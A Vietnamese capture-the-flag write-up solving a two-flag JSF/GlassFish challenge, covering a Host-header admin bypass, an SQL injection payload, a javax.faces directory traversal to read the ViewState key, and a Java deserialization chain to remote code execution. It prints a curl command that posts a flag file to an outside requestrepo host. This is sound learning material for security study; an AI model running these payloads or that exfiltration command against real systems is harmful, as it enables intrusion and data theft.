Sau đợt thi học kì kết thúc năm 2 xong thì mình cũng rảnh nên quyết định kiếm vài chall java cũ mấy năm trước mà đấm (thực ra là bị nó đấm ngược 😗). Lướt trên git repo của mấy tiền bối thì bắt gặp một bài về java deserialization hay về JSF. Qua bài này thì mình học được rất nhiều thứ: setup + debug ... nhưng cũng tốn tầm 3 - 4 ngày để solved 😔. Không luyên thuyên nữa bắt tay vào chall thôi ~~~
Contents
Sơ lược về challenge
Mô tả
Set up
Bài này tác giả cho source để build local. Có thể build thông qua README.md
(docker) hoặc README.txt
(cái này mình dùng để cài thẳng vào máy ảo cho việc remote debug, tí nữa sẽ đề cập cụ thể).
Note: ở file setup.sh
, chỉnh lại như sau để không bị lỗi unrecognised service
Overview
Sau khi build thành công access tới http://localhost:31337/mojarra_war/ thì sẽ hiện ra như sau:
Trang hiển thị ra các record của các team gồm Team Name, Team Country, ...
và tác giả cũng đã gợi ý rằng challenge này bao gồm 2 flag và nhiệm vụ của ta là phải đi tìm chúng.
Gồm có các chức năng như Update, Delete và Create New Team
:
Update: chỉnh sửa thông tin của các team record
Delete: xóa team record
Create New Team: tạo mới một team record (chỉ có admin mới có quyền tạo)
Tiếp theo mình sẽ chia ra 2 phần để tìm flag
Flag1
Sau khi tải source về sẽ có một file là mojarra_war.war
, thực hiện giải nén file này ra và mở với IntelliJ IDEA để xem source của server: jar xvf mojarra_war.war
Loay hoay đọc source một hồi thì mình nhận ra ở class SecurityUtils
có phương thức ngăn ngừa sqli
Để ý file setup.sql
:
Tác giả đã che đi tên một table 🤔 từ đây suy ra được có lẽ đây là table chứa flag và ta cần khai thác sqli để đọc flag.
Ở DatabaseOperation
(class để tương tác với mysql datase) cụ thể ở đoạn code này:
public static String saveTeamDetailsInDB(TeamBean newTeamObj) {
int saveResult = false;
try {
if (SecurityUtils.SQL_filter(newTeamObj.getTeam_secret_message())) {
String insertTeam_query = String.format("insert into ascis_final_team (team_name, team_country, team_secret_status, team_secret_message) values ('VNSEC', 'VN', 0, '%s')", newTeamObj.getTeam_secret_message());
pstmt = getConnection().prepareStatement(insertTeam_query);
int saveResult = pstmt.executeUpdate();
connObj.close();
}
} catch (Exception var3) {
var3.printStackTrace();
}
return "TeamsList.xhtml?faces-redirect=true";
}
bị lỗi sqli. Bởi vì prepareStatement()
được dùng sau khi String.format()
vì vậy ta vẫn có thể inject được.
Vấn đề còn lại là làm sao để inject bởi vì muốn inject được thì ta phải sử dụng chức năng Create New Team
và chỉ admin mới có quyền create. Nhưng có thực sự là chỉ admin mới được quyền không ?
Tiếp tục đọc source mình tìm thấy đoạn code sau được dùng để filter admin.
serverName
phải là peterjson.pw
và serverPort
phải là 13337
. Thử bypass bằng cách thay đổi Host
header:
Ok thành công. Nhưng trước khi sqli thì ta phải xóa bớt một vài team record hoặc xóa hết cũng được bởi vì server chỉ hiển thị ra 20 cái đầu tiên:
Payload sqli:
'), ((select group_concat(column_name) from information_schema.columns where table_name='ascis_final_team'),'x',1,'x
Gửi request:
Leak được column name của table ascis_final_team
:
\=> Tiếp tục áp dụng các payload để leak flag trong database thôi. Muốn thực tế hơn thì các bạn có thể tự tạo table để lưu flag và sqli để get flag. Vậy là xong flag1
Flag2
Phân tích
Muốn lấy được flag2 thì ta sẽ cần focus vào hint của tác giả ở description: what common vulnerabilities on JSF ?
Sau một hồi search thì mình khá chắc là lỗi deserialization trong JSF, đọc thêm ở đây.
Nhắc đến deserialization trong java thì ta cần quan tâm đến source, sink và các gadgets để chain từ source đến sink:
Gadget: các đoạn code có sẵn trong source code.
Source: điểm bắt đầu của gadget chain.
Sink: điểm cuối của gadget chain.
Ở bài này thì sink rất dễ thấy, nằm ở scriptEngine.eval()
của phương thức toString()
thuộc class TeamBean
. Để chain tới toString()
thì ta có thể dùng class BadAttributeValueExpException
và set field val
cho nó là một instance của class Teambean
(tham khảo ở đây).
Còn về phần script để đưa vào eval()
thì có liên quan tới javascript engine trong java. Cụ thể là mình sẽ dùng payload.js
ở bài viết này. Vậy là xong phần "hậu" deserialize ViewState.
Bây giờ mình sẽ phân tích về phần "tiền" deserialize, cụ thể là làm sao để tạo ra một ViewSate hợp lệ và gửi đến server. Nhìn sơ qua file web.xml
trong source code:
\=> Sate được lưu ở client side và tác giả có nói là secret key sẽ khác so với trên server.
à và bảo chúng ta phải tìm key 🤔.
Để ý header X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 5.0 Java/Oracle Corporation/1.8)
và source code ta biết được server sử dụng JSF/2.3 framework và glassfish server version 5.0. Và bởi vì vậy mà cách lưu ViewSate cũng sẽ khác so với các version cũ hơn, có thể đọc ở đây và đây.
Với các version cũ hơn thì serialized object sẽ được nén với gzip sau đó base64 encode:
Đối với version mới thì sau khi gzip sẽ được encrypt (trong bài này dùng AES) và áp dụng HMAC để đảm bảo tính integrity và confidentiality:
Vậy mảnh ghép còn thiếu cuối cùng chính là key để encrypt hay chính là ClientSideSecretKey
mà tác giả bảo ta đi tìm.
Trong thư mục lib
có 3 file .jar
:
Vì có sẵn version nên thử search xem có vuln nào không thì may thay đối với javax.faces-2.3.4.jar
mình tìm được:
Package vulnerable có version < 2.3.5, và cái của server đang dùng là 2.3.4 -> directory traversal để đọc file config.
Nhưng ở đây chỉ đề cập đến function và class bị lỗi, mình click vào một link github commit ở dưới để xem rõ hơn:
\=> Khai thác bằng cách traversal ở loc
param.
Về cách để hiện thực thì mình có tham khảo ở bài viết này. Tiếp theo là thử đọc file a.css
:
\=> Đọc thành công.
Thử bỏ param loc
đi xem thế nào:
\=> Ta đã đi đúng hướng.
Nhưng khi đọc web.xml
thì:
😢 Failed but why ???
Sau một hồi stuck thì mình quyết định đi hỏi tác giả và ...
Xem ra phải remote debug rồi 😱.
Remote debug
Server side
Mình tốn khá nhiều thời gian ở công đoạn này. Lúc đầu mình định remote debug bằng cách build server trong container và map port 9009
(port default cho debugging glassfish) ra ngoài sau đó dùng intellij idea để kết nối tới nhưng failed.
Chạy xong thì bị exit 🥺. Lúc này cũng đuối lắm rồi nên quyết định cài thẳng server vào máy ảo kali của mình rồi debug luôn. Để cài thì trong file README.txt
có đề cập cụ thể rồi, chỉ cần thay đổi và thêm vài thứ:
su root
cd /opt/ && mkdir chall/
cp give_to_player_ascis_final.zip chall/
cd chall && unzip give_to_player_ascis_final.zip
give_to_player_ascis_final.zip
chmod +x setup.sh && ./setup.sh
Đoạn đầu thì vẫn làm theo như hướng dẫn ở trên (Note: trong file setup.sh
vẫn giữ nguyên là apt-get install mariadb-server -y
). À nhớ tự tạo file flag để làm nhé.
Sau đó, gõ lệnh để setup database cho server:
Để debug được thì xài lệnh như bên dưới:
Vậy là đã hoàn thành set up ở server side.
Client side
Để setup phía client thì làm theo các bước sau:
Tải bản
jdk-8u231
version window và dùng nó cho project của intellij ideaChọn
Project Structure
->Libraries
->+
sau đó add các file.jar
ở thư mụclib
vào
- Tiếp theo
Add configurations
và cấu hình như sau
Host
ở đây mình để là địa chỉ IP của máy ảo.
Hiện như vầy nghĩa là đã kết nối thành công:
Dựa vào link khi nãy để set breakpoint tại findResource
của class WebappResourceHelper
(Tìm class: CTRL + N
, tìm method: CTRL + F12
, đặt breakpoint: CTRL + F8
)
Đặt xong bp rồi thì access tới http://192.168.169.132:31337/mojarra_war/javax.faces.resource./resources/css/a.css.jsf?loc=..
để xem cách hoạt động và sau khi F8
một hồi thì nó dẫn ta tới:
Hmmm, vậy là tác giả đã chỉnh lại source và thêm vào !resName.startsWith("WEB-INF")
🥺. Ok đã tìm ra vấn đề, chỉnh lại 1 tí là đã có thể đọc được web.xml
:
\=> Có được key trên server.
Nói thêm một tí về source của gadgets chain, có thể tham khảo chain hoàn chỉnh ở đây:
Exploit
Nguyên liệu đã có đủ, các bước để exploit sẽ như sau:
Tạo một instance của
TeamBean
, set fieldtemplate
thành script để RCE với command:curl -X POST -d @/opt/chall/flag.txt http://6gmo9p4b.requestrepo.com
Tạo một instance của
BadAttributeValueExpException
và set fieldval
là instance ở1.
Gzip dạng object serialized của
2.
Base64encode + urlencode sau đó gửi đến server
Note: mình dùng Class.forName()
và đặt class TeamBean
vào đúng package giống như trong source đã giải nén (ascis.TeamBean
) nếu không sẽ bị lỗi ClassNotFoundException
.
Project structure của mình:
À nhớ add library javax.faces-2.3.4.jar
để có thể dùng các thư viện của nó cho việc viết script.
Về script thì chỉ hơi nhọc ở đoạn đọc source gốc và viết lại + chỉnh sửa khúc mà họ encrypt thôi. Mình sẽ úp lên github dành cho những ai có nhu cầu tham khảo.
Run solve.java
:
Gửi request:
Flag:
Lời kết
Thật sự khi giải ra được bài này mình rất vui, nó là thành tựu đầu tiên trên sự nghiệp học java security của mình. Nói thật thì mình cũng không nghĩ sẽ solved được. Từ giai đoạn setup -> debug -> solve, đã từng có lúc muốn mở wu người ta ra đọc 😔 nhưng sau cùng cũng tự giải được 😎. Rất mong chờ được học hỏi thêm nhiều điều từ các challenge của anh peterjson.